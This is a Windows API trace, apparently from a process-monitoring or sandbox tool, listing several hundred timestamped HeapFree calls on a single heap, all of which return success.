	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.132] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.132] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.132] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.135] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.137] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.446] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.446] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.446] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.447] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.449] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0172.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.453] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.456] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.457] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.459] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.462] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.464] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.465] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.468] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.474] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.476] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.477] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.479] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.479] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.481] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.481] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.483] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.484] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.484] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.485] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.487] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0172.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.488] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0172.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0172.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.817] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.823] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.830] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.833] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.835] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.835] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.836] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.837] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.838] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.838] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.838] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.838] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.839] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0172.839] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0172.839] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0172.839] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.031] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.037] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.039] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.040] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.041] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.043] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.044] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.045] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.046] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.049] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.050] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.050] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.054] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.054] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.054] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.054] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.055] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.055] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.055] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.056] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.056] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.056] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.063] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.127] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.136] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.137] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.139] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.139] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.140] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.140] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.141] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.142] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.142] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.143] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.143] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.144] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.145] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.146] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.146] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.147] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.147] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.148] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.148] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.149] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.150] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.151] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.151] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.152] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.152] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.153] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.154] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.154] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.155] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.155] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
